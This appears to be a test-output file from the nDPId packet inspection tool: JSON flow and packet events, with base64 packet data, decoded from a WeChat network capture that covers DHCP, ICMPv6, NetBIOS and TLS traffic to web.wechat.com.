+00477{"flow_id":64,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1406,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167838,"pkt_ts_usec":304806,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00450{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1409,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167840,"pkt_ts_usec":351414,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AQBeAAD70CeIF3AECABFoABEUk8AAAERw7LAqAFk4AAA+xTpFOkAMOibAAAAAAABAAAAAAAAC19nb29nbGVjYXN0BF90Y3AFbG9jYWwAAAwAAQ=="} +00478{"flow_id":64,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1410,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167840,"pkt_ts_usec":352767,"pkt_caplen":102,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":102,"pkt_l4_len":48,"pkt":"MzMAAAD70CeIF3AEht1gAAAAADARAf6AAAAAAAAAkfk983Q2bNb\/AgAAAAAAAAAAAAAAAAD7FOkU6QAw3CsAAAAAAAEAAAAAAAALX2dvb2dsZWNhc3QEX3RjcAVsb2NhbAAADAAB"} +00425{"flow_id":62,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167844,"pkt_ts_usec":200258,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Xv5AAEAGuj3AqAFny82Tq+K3Abv08QbJs2vgP4AQAOUOxgAAAQEICgAymaBFrvIv"} +00426{"flow_id":62,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1413,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167844,"pkt_ts_usec":485906,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0W3NAAC8GzijLzZOrwKgBZwG74reza+A\/9PEGyoAQAHAO8gAAAQEICkWvHm4AMm2p"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1416,"source":"wechat.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1492167848542,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00675{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1416,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167848,"pkt_ts_usec":542496,"pkt_caplen":243,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":243,"pkt_l4_len":209,"pkt":"\/\/\/\/\/\/\/\/0CeIF3AECABFoADlWmgAAIARWkzAqAFkwKgB\/wCKAIoA0eSKEQ7\/A8CoAWQAigC7AAAgRUhFSkVQRkdFQkVPRU9FSkNORkFFRENBQ0FDQUNBQ0EAIEZIRVBGQ0VMRUhGQ0VQRkZGQUNBQ0FDQUNBQ0FDQUJPAP9TTUIlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAAIQAAAAAAAAAAAOgDAAAAAAAAAAAhAFYAAwABAAAAAgAyAFxNQUlMU0xPVFxCUk9XU0UADwCA\/AoAR0lPVkFOTkktUEMAAAAAAAYBAxIFAA8BVaoA"} +00555{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1416,"source":"wechat.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1492167848542,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"NetBIOS.SMBv1","breed":"Dangerous","category":"System"}} +00451{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1417,"source":"wechat.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1492167849769,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::842:a3f3:a286:6c5b","dst_ip":"ff02::2","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1417,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167849,"pkt_ts_usec":769805,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACuHgu4toHht1gCKryABA6\/\/6AAAAAAAAACEKj86KGbFv\/AgAAAAAAAAAAAAAAAAAChQD\/swAAAAABAbh4LuLaBw=="} +00485{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1417,"source":"wechat.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1492167849769,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::842:a3f3:a286:6c5b","dst_ip":"ff02::2","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1418,"source":"wechat.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1492167851002,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00808{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1418,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167851,"pkt_ts_usec":2688,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/uHgu4toHCABFAAFI3+EAAP8R2sMAAAAA\/\/\/\/\/wBEAEMBNOAUAQEGADPq6ioAAAAAAAAAAAAAAAAAAAAAAAAAALh4LuLaBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDNwcBeQMGD3f8OQIF3D0HAbh4LuLaBzIEwKgBajMEAHanAAwOaVBob25lZGlNb25pY2H\/AAAAAAAA"} +00551{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1418,"source":"wechat.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1492167851002,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,121,3,6,15,119,252"}} +00439{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1419,"source":"wechat.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1492167851203,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff86:6c5b","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00459{"flow_id":77,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1419,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167851,"pkt_ts_usec":203580,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"MzP\/hmxbuHgu4toHht1gAAAAACA6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/hmxbhwDa5wAAAAD+gAAAAAAAAAhCo\/OihmxbDgE+iVJ12j4="} +00473{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1419,"source":"wechat.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1492167851203,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff86:6c5b","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00424{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1420,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167851,"pkt_ts_usec":204799,"pkt_caplen":62,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":62,"pkt_l4_len":8,"pkt":"MzMAAAACuHgu4toHht1gCL93AAg6\/\/6AAAAAAAAACEKj86KGbFv\/AgAAAAAAAAAAAAAAAAAChQDCHwAAAAA="} +00452{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1421,"source":"wechat.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1492167852023,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::842:a3f3:a286:6c5b","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00490{"flow_id":78,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1421,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167852,"pkt_ts_usec":23021,"pkt_caplen":110,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":110,"pkt_l4_len":48,"pkt":"MzMAAAAWuHgu4toHht1gAAAAADgAAf6AAAAAAAAACEKj86KGbFv\/AgAAAAAAAAAAAAAAAAAWOgABAAUCAACPAPHlAAAAAgQAAAD\/AgAAAAAAAAAAAAL\/tFRbBAAAAP8CAAAAAAAAAAAAAf+GbFs="} +00486{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1421,"source":"wechat.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1492167852023,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::842:a3f3:a286:6c5b","dst_ip":"ff02::16","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1422,"source":"wechat.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1492167851002,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1422,"source":"wechat.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1492167848542,"flow_last_seen":0,"flow_tot_l4_data_len":209,"flow_min_l4_data_len":209,"flow_max_l4_data_len":209,"flow_avg_l4_data_len":209,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.255","src_port":138,"dst_port":138,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00440{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1422,"source":"wechat.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_first_seen":1492167851203,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ff86:6c5b","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00453{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1422,"source":"wechat.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_first_seen":1492167852023,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::842:a3f3:a286:6c5b","dst_ip":"ff02::16","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":62,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1425,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167865,"pkt_ts_usec":974865,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Xv9AAEAGujzAqAFny82Tq+K3Abv08QbKs2vgP4ARAOXNQQAAAQEICgAyruNFrx5u"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1426,"source":"wechat.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1492167865975,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58040,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167865,"pkt_ts_usec":975033,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8cVZAAEAGp93AqAFny82Tq+K4AbvAQN+1AAAAAKACchCA5wAAAgQFtAQCCAoAMq7jAAAAAAEDAwc="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1427,"source":"wechat.pcap","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1492167866226,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58041,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":226283,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8hOdAAEAGlEzAqAFny82Tq+K5AbuucSvFAAAAAKACchBGZwAAAgQFtAQCCAoAMq8iAAAAAAEDAwc="} +00437{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":243313,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rhfZ1wawEDftqASN8iGUwAAAgQFoAQCCApFrzOuADKu4wEDAwc="} +00425{"flow_id":79,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":243399,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cVdAAEAGp+TAqAFny82Tq+K4AbvAQN+2X2dcG4AQAOXrqwAAAQEICgAyryZFrzOu"} +00749{"flow_id":79,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":243873,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEicVhAAEAGpvXAqAFny82Tq+K4AbvAQN+2X2dcG4AYAOUGhQAAAQEICgAyryZFrzOuFgMBAOkBAADlAwM6MRNk3EmFJ9vIXCbdCkO3vP+WoKpqLBvgL+NdCbhfqyAMsBFok8j6ktN3mDNfYh89ubRYR7QbnhPUZ8eCwdphMwAgOjrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8GhoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIOjoAHQAXABhqagABAA=="} +00723{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1430,"source":"wechat.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":4,"flow_first_seen":1492167865975,"flow_last_seen":1492167866243,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58040,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00437{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1431,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":495347,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC8GKZTLzZOrwKgBZwG74rl6NAw+rnErxqASN8iAowAAAgQFoAQCCApFrzPtADKvIgEDAwc="} +00425{"flow_id":80,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1432,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":495436,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0hOhAAEAGlFPAqAFny82Tq+K5AbuucSvGejQMP4AQAOXl+wAAAQEICgAyr2VFrzPt"} +00426{"flow_id":79,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1433,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":513757,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0b+pAAC8GubHLzZOrwKgBZwG74rhfZ1wbwEDgpIAQAHjq5wAAAQEICkWvM\/EAMq8m"} +02346{"flow_id":79,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1434,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":514555,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIb+tAAC8GtBzLzZOrwKgBZwG74rhfZ1wbwEDgpIAQAHifDwAAAQEICkWvM\/IAMq8mFgMDAF0CAABZAwNdJVXKZAQ6L0HFxCp+fVehSoRoXpTG0NPHVWuOn9SnCCC9CRO8qTdKdBx1vFCAUpGqkrrbgAZaFdgU9IvXLwqN\/MAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00780{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1434,"source":"wechat.pcap","alias":"nDPId-test","flow_id":79,"flow_packet_id":6,"flow_first_seen":1492167865975,"flow_last_seen":1492167866514,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.147.171","src_port":58040,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00425{"flow_id":79,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1435,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167866,"pkt_ts_usec":514612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cVlAAEAGp+LAqAFny82Tq+K4AbvAQOCkX2dhr4AQAPvkiwAAAQEICgAyr2pFrzPy"} 